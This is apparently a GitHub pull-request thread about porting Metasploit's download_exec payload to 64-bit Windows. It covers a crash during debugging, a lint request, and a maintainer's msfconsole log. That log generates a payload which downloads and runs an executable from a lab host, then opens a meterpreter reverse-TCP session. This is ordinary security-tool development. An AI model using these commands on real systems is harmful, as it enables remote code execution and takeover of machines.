Port payload/windows/download_exec to x64

[xHector1337]

I have tried my best to port it from x86 to x64. It has some little problems that I can not see clearly.

[xHector1337]

for some reason when running it with c, it crashes during URLDownloadToFileA function call.

[xHector1337]

Problem likely lies in URLDownloadToFileA, as it is visible in the photo it calls URLDownloadToFileW in URLDownloadToFileA function and it somehow makes the executable crash.

[adfoster-r7]

#20386 (comment)

@xHector1337 Were you able to resolve this issue? 👀

[xHector1337]

#20386 (comment)

@xHector1337 Were you able to resolve this issue? 👀

Thanks, I was.

[dledda-r7]

Code looks clean and correct, i'll give it a shot this week and if everything works i think we are good to go.

@xHector1337, can you please fix the linting issue?
rubocop -a modules/payloads/singles/windows/x64/download_exec.rb
Thanks!

[xHector1337]

Code looks clean and correct, i'll give it a shot this week and if everything works i think we are good to go.

@xHector1337, can you please fix the linting issue? rubocop -a modules/payloads/singles/windows/x64/download_exec.rb Thanks!

Thank you, I'll be fixing it immediately.

[dledda-r7]

msf6 payload(windows/meterpreter/reverse_tcp) > use windows/x64/download_exec
msf6 payload(windows/x64/download_exec) > show options

Module options (payload/windows/x64/download_exec):

   Name      Current Setting          Required  Description
   ----      ---------------          --------  -----------
   DISPLAY   HIDE                     yes       The Display type. (Accepted: HIDE, SHOW)
   EXITFUNC  process                  yes       Exit technique (Accepted: '', seh, thread, process, none)
   FILEPATH  fox.exe                  yes       The path to save the downloaded file.
   URL       http://localhost/hi.exe  yes       The url to download the file from.


View the full module info with the info, or info -d command.

msf6 payload(windows/x64/download_exec) > set filepath m.exe
filepath => m.exe
msf6 payload(windows/x64/download_exec) > set url http://192.168.136.136:8000/metsrv.x64.exe
url => http://192.168.136.136:8000/metsrv.x64.exe
msf6 payload(windows/x64/download_exec) > generate -f exe -o ~/Public/download_exec.exe
[*] Writing 6656 bytes to ~/Public/download_exec.exe...
msf6 payload(windows/x64/download_exec) > use payload/windows/x64/meterpreter_reverse_tcp 
msf6 payload(windows/x64/meterpreter_reverse_tcp) > set lhost eth0
lhost => 192.168.136.136
msf6 payload(windows/x64/meterpreter_reverse_tcp) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Payload Handler Started as Job 1
msf6 payload(windows/x64/meterpreter_reverse_tcp) > 
[*] Started reverse TCP handler on 192.168.136.136:4445 

msf6 payload(windows/x64/meterpreter_reverse_tcp) > generate -f exe -o ~/Public/metsrv.x64.exe
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Writing 569856 bytes to ~/Public/metsrv.x64.exe...
msf6 payload(windows/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 2 opened (192.168.136.136:4445 -> 192.168.136.138:55702) at 2025-08-12 05:47:25 -0400

msf6 payload(windows/x64/meterpreter_reverse_tcp) > 

[dledda-r7]

Release Notes

This adds a new payload; the payload/windows/x64/download_execute can be used to download and execute a binary over http, with a reduced code size.